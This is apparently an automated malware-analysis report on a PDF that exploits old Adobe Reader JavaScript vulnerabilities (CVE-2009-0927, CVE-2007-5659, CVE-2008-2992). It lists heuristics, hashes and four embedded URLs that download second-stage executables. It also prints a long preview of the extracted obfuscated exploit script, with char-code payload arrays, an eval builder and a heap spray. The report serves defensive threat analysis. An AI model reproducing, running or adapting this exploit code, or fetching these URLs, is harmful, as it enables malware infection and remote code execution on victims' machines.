PDF malware analysis — malicious · bf1d151356c9a8f5

MALICIOUS

PDF

76.8 KB Created: 2009-11-10 19:48:07 Authoring application: PDF Library 10.6.5 (via PDF Library 6.7.1) First seen: 2015-09-16

MD5: 23858e844a387f062adf541a949abea8 SHA-1: 11c1ae184c9a7262eb7d9e3ac39c6ebf549a4416 SHA-256: bf1d151356c9a8f5ace074093291a4edaefc5831d2d66d222e222f5163f618f0

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 JavaScript/JScript T1204.001 Malicious Link/URL T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits are designed to download and execute a second-stage payload. The presence of multiple exploit triggers and the ClamAV detection strongly indicate malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/eklmot2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/wnzocl2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/bhkpqs2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38836 bytes
SHA-256: `8238292709744928bd808eae3ded9d8ae052368e30054c406a75e1f865949a7d`
Preview script First 1,000 lines of the extracted script var lrtv=49519;fghrs='';var ajlqw=true,acmny="acmny",yaouz=58701,defpty=0,fluy=String,aghu=fluy['fKrtosm0C0htatrsC0oKdset'.replace(/[tsWK0]/g,'')],bfivwx=String,bgim=bfivwx['eRvsaSls'.replace(/[sRSXF]/g,'')],zmed="86",dmpt="",hmvx=[69,64,65,156,173,164,155,170,161,165,166,86,158,159,176,149,161,170,96,175,153,168,171,166,100,86,164,155,166,95,179,67,66,63,65,173,160,159,164,155,88,94,177,151,170,169,168,100,164,155,166,157,172,158,88,96,88,104,88,114,88,162,157,164,97,177,69,64,65,63,65,175,153,168,171,166,88,97,117,86,177,151,170,169,168,113,69,64,65,63,181,67,66,63,65,175,153,168,171,166,88,115,88,175,153,168,171,166,102,169,173,152,171,170,170,159,166,157,96,102,100,86,164,155,166,101,106,95,115,67,66,63,65,168,157,170,173,168,166,86,177,151,170,169,168,113,69,64,65,179,69,64,69,64,65,156,173,164,155,170,161,165,166,86,173,170,161,162,151,166,170,159,166,170,158,94,97,177,69,64,65,63,174,151,170,86,168,151,177,162,167,151,156,86,117,86,173,164,157,169,155,151,168,155,96,88,93,171,125,120,125,111,93,171,104,102,104,103,93,171,109,108,104,102,93,171,121,103,110,106,93,171,104,102,107,102,93,171,104,102,104,102,93,171,108,102,112,120,93,171,112,120,104,121,93,171,105,121,111,102,93,171,112,120,121,122,93,171,104,110,108,102,93,171,123,105,109,123,93,171,112,120,109,107,93,171,112,120,125,121,93,171,104,110,108,107,93,171,107,105,109,104,93,171,123,103,124,104,93,171,104,105,123,104,93,171,105,102,107,104,93,171,112,102,108,102,93,171,104,102,107,110,93,171,126,107,111,107,93,171,123,104,112,120,93,171,109,122,109,119,93,171,104,106,123,104,93,171,109,107,104,102,93,171,125,121,112,120,93,171,109,103,109,103,93,171,109,108,109,105,93,171,110,102,109,109,93,171,109,122,112,120,93,171,107,105,104,110,93,171,112,120,123,102,93,171,104,121,111,107,93,171,126,123,112,120,93,171,111,108,104,105,93,171,112,120,107,121,93,171,111,110,108,123,93,171,123,124,104,105,93,171,109,103,112,120,93,171,109,104,105,121,93,171,109,103,112,120,93,171,109,104,106,106,93,171,111,103,112,120,93,171,108,123,105,106,93,171,111,107,112,111,93,171,112,120,126,121,93,171,106,102,111,103,93,171,126,109,104,105,93,171,108,119,113,111,93,171,108,104,121,122,93,171,107,120,110,102,93,171,126,121,109,107,93,171,104,106,111,107,93,171,123,102,107,105,93,171,107,109,125,120,93,171,126,124,107,105,93,171,108,107,104,105,93,171,113,109,104,121,93,171,123,124,112,120,93,171,111,107,121,123,93,171,106,120,126,122,93,171,108,124,126,111,93,171,125,110,109,103,93,171,126,124,113,106,93,171,126,124,126,124,93,171,123,105,107,120,93,171,111,106,110,103,93,171,125,120,104,104,93,171,112,120,124,111,93,171,104,121,108,107,93,171,109,123,113,104,93,171,126,104,104,105,93,171,125,102,124,103,93,171,123,108,104,105,93,171,123,111,107,105,93,171,122,109,104,124,93,171,109,124,104,110,93,171,125,103,123,103,93,171,104,105,104,104,93,171,104,105,123,119,93,171,112,120,123,124,93,171,104,105,104,103,93,171,112,111,123,104,93,171,126,110,108,107,93,171,112,120,110,103,93,171,126,110,108,107,93,171,109,123,109,124,93,171,123,111,109,120,93,171,109,107,123,105,93,171,125,121,112,120,93,171,125,110,109,103,93,171,126,124,108,111,93,171,126,124,126,124,93,171,110,110,109,102,93,171,110,102,125,110,93,171,104,106,122,124,93,171,110,121,125,110,93,171,126,124,126,124,93,171,107,105,126,124,93,171,109,104,124,104,93,171,126,124,109,104,93,171,104,110,111,107,93,171,124,102,126,124,93,171,108,107,112,111,93,171,112,120,126,121,93,171,126,121,108,107,93,171,123,105,123,111,93,171,112,120,109,107,93,171,112,105,125,121,93,171,104,121,125,121,93,171,108,107,112,122,93,171,109,102,126,106,93,171,108,107,123,108,93,171,111,107,126,106,93,171,108,107,123,108,93,171,111,104,126,107,93,171,108,107,123,108,93,171,110,121,126,108,93,171,108,107,123,108,93,171,110,122,126,109,93,171,108,107,123,108,93,171,110,124,126,110,93,171,108,107,123,108,93,171,110,123,126,111,93,171,108,107,123,108,93,171,106,123,126,119,93,171,108,107,123,108,93,171,110,106,126,120,93,171,108,107,123,108,93,171,110,121,126,121,93,171,108,107,123,108,93,171,110,121,126,122,93,171,108,107,123,108,93,171,104,102,126,123,93,171,121,102,125,110,93,171,126,124,126,124,93,171,109,102,126,124,93,171,109,122,110,110,93,171,105,103,112,119,93,171,125,110,105,108,93,171,126,124,105,107,93,171,126,124,126,124,93,171,123,106,112,105,93,171,112,107,104,121,93,171,111,106,123,102,93,171,110,119,105,107,93,171,110,119,104,102,93,171,126,124,104,102,93,171,104,121,111,107,93,171,111,107,126,124,93,171,110,119,104,110,93,171,126,124,104,102,93,171,112,107,124,102,93,171,111,107,123,102,93,171,108,102,104,105,93,171,123,105,123,111,93,171,123,102,107,105,93,171,123,105,123,111,93,171,107,105,109,109,93,171,112,120,123,102,93,171,106,106,108,121,93,171,112,120,104,121,93,171,106,106,111,121,93,171,126,121,104,110,93,171,121,119,126,105,93,171,123,105,109,124,93,171,108,121,112,120,93,171,104,106,106,106,93,171,107,111,112,102,93,171,112,120,104,102,93,171,111,106,123,103,93,171,108,102,104,108,93,171,107,110,112,102,93,171,111,107,104,102,93,171,106,120,126,119,93,171,123,105,123,103,93,171,112,120,109,107,93,171,112,105,125,121,93,171,110,106,125,121,93,171,112,122,109,105,93,171,126,102,108,107,93,171,107,105,109,109,93,171,109,102,124,120,93,171,108,107,123,108,93,171,110,120,126,102,93,171,108,107,123,108,93,171,110,107,126,103,93,171,108,107,123,108,93,171,111,104,126,104,93,171,108,107,123,108,93,171,110,123,126,105,93,171,108,107,123,108,93,171,110,107,126,106,93,171,108,107,123,108,93,171,110,121,126,107,93,171,108,107,123,108,93,171,107,105,126,108,93,171,108,107,123,108,93,171,107,104,126,109,93,171,108,107,123,108,93,171,106,123,126,110,93,171,108,107,123,108,93,171,110,106,126,111,93,171,108,107,123,108,93,171,110,121,126,119,93,171,108,107,123,108,93,171,110,121,126,120,93,171,109,122,112,110,93,171,125,110,126,121,93,171,126,124,104,120,93,171,126,124,126,124,93,171,110,110,109,102,93,171,108,105,110,110,93,171,112,123,126,111,93,171,112,102,125,110,93,171,126,124,126,123,93,171,112,120,126,124,93,171,112,122,126,110,93,171,113,121,108,107,93,171,108,106,110,119,93,171,125,110,109,102,93,171,126,124,111,123,93,171,126,124,126,124,93,171,108,107,112,122,93,171,110,119,125,102,93,171,109,102,105,102,93,171,111,105,125,110,93,171,126,124,126,124,93,171,112,105,126,124,93,171,105,121,123,106,93,171,108,107,112,122,93,171,109,102,125,102,93,171,108,107,112,122,93,171,109,102,113,121,93,171,109,105,109,105,93,171,109,105,109,105,93,171,109,105,109,105,93,171,111,107,126,124,93,171,123,109,104,110,93,171,113,121,108,107,93,171,104,102,108,106,93,171,104,102,104,102,93,171,126,124,109,105,93,171,109,124,124,109,93,171,122,108,104,124,93,171,109,120,123,102,93,171,123,105,123,111,93,171,112,120,109,107,93,171,109,103,125,121,93,171,109,105,109,103,93,171,109,109,109,108,93,171,108,104,110,119,93,171,111,104,125,110,93,171,104,102,104,102,93,171,112,120,104,102,93,171,107,105,124,110,93,171,112,107,126,108,93,171,109,111,124,120,93,171,108,107,123,109,93,171,110,103,126,110,93,171,110,107,106,123,93,171,123,109,111,110,93,171,126,121,108,107,93,171,104,102,110,107,93,171,104,102,104,102,93,171,109,108,111,123,93,171,108,107,112,122,93,171,109,102,126,110,93,171,125,110,109,108,93,171,104,102,109,103,93,171,104,102,104,102,93,171,109,102,109,111,93,171,122,103,125,110,93,171,126,124,126,123,93,171,112,107,126,124,93,171,109,111,123,102,93,171,111,106,109,111,93,171,112,122,107,111,93,171,104,103,108,108,93,171,125,110,109,102,93,171,104,102,107,120,93,171,104,102,104,102,93,171,126,110,112,120,93,171,108,107,112,122,93,171,109,102,126,110,93,171,106,103,125,110,93,171,126,124,126,124,93,171,112,107,126,124,93,171,109,111,123,102,93,171,111,106,109,111,93,171,109,109,104,121,93,171,104,103,125,110,93,171,126,124,126,124,93,171,109,111,126,124,93,171,108,106,123,108,93,171,126,124,107,110,93,171,109,102,111,105,93,171,108,107,112,122,93,171,126,123,126,110,93,171,109,110,104,102,93,171,108,107,112,122,93,171,109,102,126,110,93,171,125,110,109,109,93,171,126,123,111,106,93,171,126,124,126,124,93,171,109,111,109,111,93,171,108,108,108,108,93,171,126,105,107,120,93,171,121,119,111,121,93,171,109,123,109,124,93,171,123,111,109,120,93,171,109,107,123,105,93,171,125,121,112,120,93,171,109,105,109,103,93,171,110,102,110,108,93,171,107,104,122,103,93,171,104,102,125,110,93,171,104,102,104,102,93,171,109,110,104,102,93,171,104,110,107,110,93,171,104,105,111,106,93,171,125,120,108,102,93,171,108,102,126,111,93,171,109,122,112,120,93,171,112,102,104,110,93,171,108,104,126,120,93,171,104,110,111,107,93,171,124,120,107,105,93,171,105,110,112,119,93,171,123,105,112,120,93,171,105,109,125,120,93,171,105,110,107,110,93,171,105,103,111,108,93,171,107,105,108,102,93,171,112,106,123,111,93,171,111,106,124,120,93,171,108,102,104,121,93,171,104,110,107,110,93,171,126,120,111,107,93,171,126,123,108,102,93,171,125,120,123,120,93,171,107,105,126,104,93,171,112,111,123,102,93,171,126,121,108,107,93,171,108,107,112,120,93,171,109,120,126,121,93,171,123,105,123,111,93,171,104,104,107,104,93,171,111,106,110,110,93,171,111,102,111,106,93,171,106,124,107,119,93,171,110,122,106,124,93,171,111,104,110,111,93,171,110,124,111,104,93,171,110,124,111,104,93,171,110,107,110,123,93,171,110,124,111,104,93,171,110,111,110,108,93,171,110,107,111,108,93,171,110,105,106,123,93,171,110,122,110,124,93,171,111,105,106,124,93,171,110,107,110,121,93,171,111,102,110,107,93,171,110,107,106,124,93,171,110,121,110,120,93,171,110,124,110,122,93,171,107,104,111,106,93,171,110,107,106,123,93,171,110,107,111,110,93,171,110,110,104,102,93,171,111,106,111,106,93,171,107,119,111,102,93,171,106,124,106,124,93,171,110,111,110,122,93,171,111,104,111,104,93,171,111,104,110,124,93,171,110,123,110,124,93,171,111,104,110,107,93,171,110,108,110,124,93,171,111,108,110,111,93,171,106,123,110,107,93,171,110,124,110,105,93,171,106,124,110,122,93,171,110,121,111,105,93,171,110,107,110,107,93,171,106,124,111,102,93,171,110,121,110,105,93,171,110,105,110,111,93,171,106,123,110,120,93,171,110,110,111,102,93,171,107,124,111,102,93,171,107,122,111,104,93,171,104,102,104,102,90,95,115,67,66,63,65,172,153,168,88,164,167,166,88,115,88,171,166,155,171,153,153,166,157,94,90,91,173,102,121,102,121,91,173,102,121,102,121,91,173,102,121,102,121,91,173,102,121,102,121,88,97,67,66,63,65,172,153,168,88,158,157,151,168,152,164,165,155,161,88,115,88,164,167,166,88,97,88,166,153,175,164,165,153,154,115,67,66,63,65,172,153,168,88,152,161,157,154,162,167,153,163,86,117,86,173,164,157,169,155,151,168,155,96,88,93,171,104,119,104,119,93,171,104,119,104,119,90,95,115,67,66,63,65,172,153,168,88,158,157,151,156,155,170,169,161,176,157,86,117,86,106,102,115,67,66,63,65,172,153,168,88,169,168,168,153,175,88,115,88,158,157,151,156,155,170,169,161,176,157,86,99,86,160,155,153,166,154,162,167,153,163,100,164,155,166,157,172,158,115,67,66,63,65,173,160,159,164,155,88,94,154,159,159,152,164,165,155,161,102,162,157,164,159,170,160,86,116,86,171,166,170,151,177,95,179,67,66,63,65,63,154,159,159,152,164,165,155,161,88,97,117,86,154,159,159,152,164,165,155,161,115,67,66,63,65,179,69,64,65,63,174,151,170,86,158,159,164,162,154,162,167,153,163,86,117,86,154,159,159,152,164,165,155,161,102,169,173,152,171,170,170,159,166,157,96,102,100,86,171,166,170,151,177,95,115,67,66,63,65,172,153,168,88,152,164,165,155,161,88,115,88,152,161,157,154,162,167,153,163,100,171,171,154,169,172,168,161,164,159,94,104,98,88,152,161,157,154,162,167,153,163,100,164,155,166,157,172,158,101,169,168,168,153,175,97,113,69,64,65,63,175,158,161,162,157,86,96,152,164,165,155,161,102,162,157,164,159,170,160,97,171,166,170,151,177,86,116,86,104,174,108,102,104,102,104,95,179,67,66,63,65,63,154,162,167,153,163,86,117,86,154,162,167,153,163,86,99,86,154,162,167,153,163,86,99,86,158,159,164,162,154,162,167,153,163,113,69,64,65,63,181,67,66,63,65,172,153,168,88,163,157,163,151,151,170,168,153,175,88,115,88,164,157,173,88,119,170,168,153,175,96,95,115,67,66,63,65,156,167,168,88,94,174,151,170,86,161,86,117,86,104,113,88,159,88,114,88,103,108,102,104,113,88,159,99,97,97,177,69,64,65,63,65,163,157,163,151,151,170,168,153,175,147,159,149,86,117,86,154,162,167,153,163,86,99,86,160,155,153,166,154,162,167,153,163,113,69,64,65,63,181,67,66,63,65,172,153,168,88,164,173,163,88,115,88,103,106,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,111,113,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,110,112,113,69,64,65,63,173,170,161,162,102,166,170,159,166,170,158,94,90,91,108,107,104,102,104,156,90,98,88,164,173,163,97,113,69,64,65,179,69,64,69,64,65,156,173,164,155,170,161,165,166,86,155,165,164,162,153,152,151,155,165,151,161,162,96,95,179,67,66,63,65,172,153,168,88,169,160,155,164,162,155,165,156,155,88,115,88,171,166,155,171,153,153,166,157,94,90,91,173,123,122,123,113,91,173,102,104,102,105,91,173,107,110,102,104,91,173,119,105,108,108,91,173,102,104,105,104,91,173,102,104,102,104,91,173,106,104,110,122,91,173,110,122,102,123,91,173,103,123,109,104,91,173,110,122,119,124,91,173,102,112,106,104,91,173,121,107,107,125,91,173,110,122,107,109,91,173,110,122,123,123,91,173,102,112,106,109,91,173,105,107,107,106,91,173,121,105,122,106,91,173,102,107,121,106,91,173,103,104,105,106,91,173,110,104,106,104,91,173,102,104,105,112,91,173,124,109,109,109,91,173,121,106,110,122,91,173,107,124,107,121,91,173,102,108,121,106,91,173,107,109,102,104,91,173,123,123,110,122,91,173,107,105,107,105,91,173,107,110,107,107,91,173,108,104,107,111,91,173,107,124,110,122,91,173,105,107,102,112,91,173,110,122,121,104,91,173,102,123,109,109,91,173,124,125,110,122,91,173,109,110,102,107,91,173,110,122,105,123,91,173,109,112,106,125,91,173,121,126,102,107,91,173,107,105,110,122,91,173,107,106,103,123,91,173,107,105,110,122,91,173,107,106,104,108,91,173,109,105,110,122,91,173,106,125,103,108,91,173,109,109,110,113,91,173,110,122,124,123,91,173,104,104,109,105,91,173,124,111,102,107,91,173,106,121,111,113,91,173,106,106,119,124,91,173,105,122,108,104,91,173,124,123,107,109,91,173,102,108,109,109,91,173,121,104,105,107,91,173,105,111,123,122,91,173,124,126,105,107,91,173,106,109,102,107,91,173,111,111,102,123,91,173,121,126,110,122,91,173,109,109,119,125,91,173,104,122,124,124,91,173,106,126,124,113,91,173,123,112,107,105,91,173,124,126,111,108,91,173,124,126,124,126,91,173,121,107,105,122,91,173,109,108,108,105,91,173,123,122,102,106,91,173,110,122,122,113,91,173,102,123,106,109,91,173,107,125,111,106,91,173,124,106,102,107,91,173,123,104,122,105,91,173,121,110,102,107,91,173,121,113,105,107,91,173,120,111,102,126,91,173,107,126,102,112,91,173,123,105,121,105,91,173,102,107,102,106,91,173,102,107,121,121,91,173,110,122,121,126,91,173,102,107,102,105,91,173,110,113,121,106,91,173,124,112,106,109,91,173,110,122,108,105,91,173,124,112,106,109,91,173,107,125,107,126,91,173,121,113,107,122,91,173,107,109,121,107,91,173,123,123,110,122,91,173,123,112,107,105,91,173,124,126,106,113,91,173,124,126,124,126,91,173,108,112,107,104,91,173,108,104,123,112,91,173,102,108,120,126,91,173,108,123,123,112,91,173,124,126,124,126,91,173,105,107,124,126,91,173,107,106,122,106,91,173,124,126,107,106,91,173,102,112,109,109,91,173,122,104,124,126,91,173,106,109,110,113,91,173,110,122,124,123,91,173,124,123,106,109,91,173,121,107,121,113,91,173,110,122,107,109,91,173,110,107,123,123,91,173,102,123,123,123,91,173,106,109,110,124,91,173,107,104,124,108,91,173,106,109,121,110,91,173,109,109,124,108,91,173,106,109,121,110,91,173,109,106,124,109,91,173,106,109,121,110,91,173,108,123,124,110,91,173,106,109,121,110,91,173,108,124,124,111,91,173,106,109,121,110,91,173,108,126,124,112,91,173,106,109,121,110,91,173,108,125,124,113,91,173,106,109,121,110,91,173,104,125,124,121,91,173,106,109,121,110,91,173,108,108,124,122,91,173,106,109,121,110,91,173,108,123,124,123,91,173,106,109,121,110,91,173,108,123,124,124,91,173,106,109,121,110,91,173,102,104,124,125,91,173,119,104,123,112,91,173,124,126,124,126,91,173,107,104,124,126,91,173,107,124,108,112,91,173,103,105,110,121,91,173,123,112,103,110,91,173,124,126,103,109,91,173,124,126,124,126,91,173,121,108,110,107,91,173,110,109,102,123,91,173,109,108,121,104,91,173,108,121,103,109,91,173,108,121,102,104,91,173,124,126,102,104,91,173,102,123,109,109,91,173,109,109,124,126,91,173,108,121,102,112,91,173,124,126,102,104,91,173,110,109,122,104,91,173,109,109,121,104,91,173,106,104,102,107,91,173,121,107,121,113,91,173,121,104,105,107,91,173,121,107,121,113,91,173,105,107,107,111,91,173,110,122,121,104,91,173,104,108,106,123,91,173,110,122,102,123,91,173,104,108,109,123,91,173,124,123,102,112,91,173,119,121,124,107,91,173,121,107,107,126,91,173,106,123,110,122,91,173,102,108,104,108,91,173,105,113,110,104,91,173,110,122,102,104,91,173,109,108,121,105,91,173,106,104,102,110,91,173,105,112,110,104,91,173,109,109,102,104,91,173,104,122,124,121,91,173,121,107,121,105,91,173,110,122,107,109,91,173,110,107,123,123,91,173,108,108,123,123,91,173,110,124,107,107,91,173,124,104,106,109,91,173,105,107,107,111,91,173,107,104,122,122,91,173,106,109,121,110,91,173,108,122,124,104,91,173,106,109,121,110,91,173,108,109,124,105,91,173,106,109,121,110,91,173,109,106,124,106,91,173,106,109,121,110,91,173,108,125,124,107,91,173,106,109,121,110,91,173,108,109,124,108,91,173,106,109,121,110,91,173,108,123,124,109,91,173,106,109,121,110,91,173,105,107,124,110,91,173,106,109,121,110,91,173,105,106,124,111,91,173,106,109,121,110,91,173,104,125,124,112,91,173,106,109,121,110,91,173,108,108,124,113,91,173,106,109,121,110,91,173,108,123,124,121,91,173,106,109,121,110,91,173,108,123,124,122,91,173,107,124,110,112,91,173,123,112,124,123,91,173,124,126,102,122,91,173,124,126,124,126,91,173,108,112,107,104,91,173,106,107,108,112,91,173,110,125,124,113,91,173,110,104,123,112,91,173,124,126,124,125,91,173,110,122,124,126,91,173,110,124,124,112,91,173,111,123,106,109,91,173,106,108,108,121,91,173,123,112,107,104,91,173,124,126,109,125,91,173,124,126,124,126,91,173,106,109,110,124,91,173,108,121,123,104,91,173,107,104,103,104,91,173,109,107,123,112,91,173,124,126,124,126,91,173,110,107,124,126,91,173,103,123,121,108,91,173,106,109,110,124,91,173,107,104,123,104,91,173,106,109,110,124,91,173,107,104,111,123,91,173,107,107,107,107,91,173,107,107,107,107,91,173,107,107,107,107,91,173,109,109,124,126,91,173,121,111,102,112,91,173,111,123,106,109,91,173,102,104,106,108,91,173,102,104,102,104,91,173,124,126,107,107,91,173,107,126,122,111,91,173,120,110,102,126,91,173,107,122,121,104,91,173,121,107,121,113,91,173,110,122,107,109,91,173,107,105,123,123,91,173,107,107,107,105,91,173,107,111,107,110,91,173,106,106,108,121,91,173,109,106,123,112,91,173,102,104,102,104,91,173,110,122,102,104,91,173,105,107,122,112,91,173,110,109,124,110,91,173,107,113,122,122,91,173,106,109,121,111,91,173,108,105,124,112,91,173,108,109,104,125,91,173,121,111,109,112,91,173,124,123,106,109,91,173,102,104,108,109,91,173,102,104,102,104,91,173,107,110,109,125,91,173,106,109,110,124,91,173,107,104,124,112,91,173,123,112,107,110,91,173,102,104,107,105,91,173,102,104,102,104,91,173,107,104,107,113,91,173,120,105,123,112,91,173,124,126,124,125,91,173,110,109,124,126,91,173,107,113,121,104,91,173,109,108,107,113,91,173,110,124,105,113,91,173,102,105,106,110,91,173,123,112,107,104,91,173,102,104,105,122,91,173,102,104,102,104,91,173,124,112,110,122,91,173,106,109,110,124,91,173,107,104,124,112,91,173,104,105,123,112,91,173,124,126,124,126,91,173,110,109,124,126,91,173,107,113,121,104,91,173,109,108,107,113,91,173,107,111,102,123,91,173,102,105,123,112,91,173,124,126,124,126,91,173,107,113,124,126,91,173,106,108,121,110,91,173,124,126,105,112,91,173,107,104,109,107,91,173,106,109,110,124,91,173,124,125,124,112,91,173,107,112,102,104,91,173,106,109,110,124,91,173,107,104,124,112,91,173,123,112,107,111,91,173,124,125,109,108,91,173,124,126,124,126,91,173,107,113,107,113,91,173,106,110,106,110,91,173,124,107,105,122,91,173,119,121,109,123,91,173,107,125,107,126,91,173,121,113,107,122,91,173,107,109,121,107,91,173,123,123,110,122,91,173,107,107,107,105,91,173,108,104,108,110,91,173,105,106,120,105,91,173,102,104,123,112,91,173,102,104,102,104,91,173,107,112,102,104,91,173,102,112,105,112,91,173,102,107,109,108,91,173,123,122,106,104,91,173,106,104,124,113,91,173,107,124,110,122,91,173,110,104,102,112,91,173,106,106,124,122,91,173,102,112,109,109,91,173,122,122,105,107,91,173,103,112,110,121,91,173,121,107,110,122,91,173,103,111,123,122,91,173,103,112,105,112,91,173,103,105,109,110,91,173,105,107,106,104,91,173,110,108,121,113,91,173,109,108,122,122,91,173,106,104,102,123,91,173,102,112,105,112,91,173,124,122,109,109,91,173,124,125,106,104,91,173,123,122,121,122,91,173,105,107,124,106,91,173,110,113,121,104,91,173,124,123,106,109,91,173,106,109,110,122,91,173,107,122,124,123,91,173,121,107,121,113,91,173,102,106,105,106,91,173,109,108,108,112,91,173,109,104,109,108,91,173,104,126,105,121,91,173,108,124,104,126,91,173,109,106,108,113,91,173,108,126,109,106,91,173,108,126,109,106,91,173,108,109,108,125,91,173,108,126,109,106,91,173,108,113,108,110,91,173,108,109,109,110,91,173,108,107,104,125,91,173,108,124,108,126,91,173,109,107,104,126,91,173,108,109,108,123,91,173,109,104,108,109,91,173,109,111,104,126,91,173,109,121,108,125,91,173,108,107,108,126,91,173,105,106,108,123,91,173,108,109,104,125,91,173,108,109,109,112,91,173,108,112,102,104,91,173,109,108,109,108,91,173,105,121,109,104,91,173,104,126,104,126,91,173,108,113,108,124,91,173,109,106,109,106,91,173,109,106,108,126,91,173,108,125,108,126,91,173,109,106,108,109,91,173,108,110,108,126,91,173,109,110,108,113,91,173,104,125,108,109,91,173,108,126,108,107,91,173,104,126,108,124,91,173,108,123,109,107,91,173,108,109,108,109,91,173,104,126,109,104,91,173,108,123,108,107,91,173,108,107,108,113,91,173,104,125,108,122,91,173,108,112,109,104,91,173,105,126,109,104,91,173,105,124,109,106,91,173,102,104,102,104,88,97,113,69,64,65,63,174,151,170,86,165,155,165,149,153,168,170,151,177,86,117,86,166,155,175,86,121,168,170,151,177,94,97,113,69,64,65,63,174,151,170,86,155,153,88,115,88,102,176,102,155,102,155,102,155,102,155,113,69,64,65,63,174,151,170,86,153,154,156,168,88,115,88,102,176,106,104,102,104,102,104,113,69,64,65,63,174,151,170,86,171,153,151,162,157,164,88,115,88,169,160,155,164,162,155,165,156,155,102,162,157,164,159,170,160,86,98,86,106,113,69,64,65,63,174,151,170,86,164,155,166,86,117,86,153,154,156,168,88,99,88,94,171,153,151,162,157,164,99,102,176,105,112,95,115,67,66,63,65,172,153,168,88,175,153,168,171,166,88,115,88,171,166,155,171,153,153,166,157,94,90,91,173,111,104,111,104,91,173,111,104,111,104,88,97,113,69,64,65,63,177,151,170,169,168,86,117,86,158,159,176,149,161,170,96,175,153,168,171,166,100,86,164,155,166,95,115,67,66,63,65,172,153,168,88,153,167,171,166,170,106,86,117,86,96,153,155,86,101,86,104,174,108,102,104,102,104,102,97,101,153,154,156,168,115,67,66,63,65,156,167,168,88,94,174,151,170,86,155,165,173,164,172,86,117,86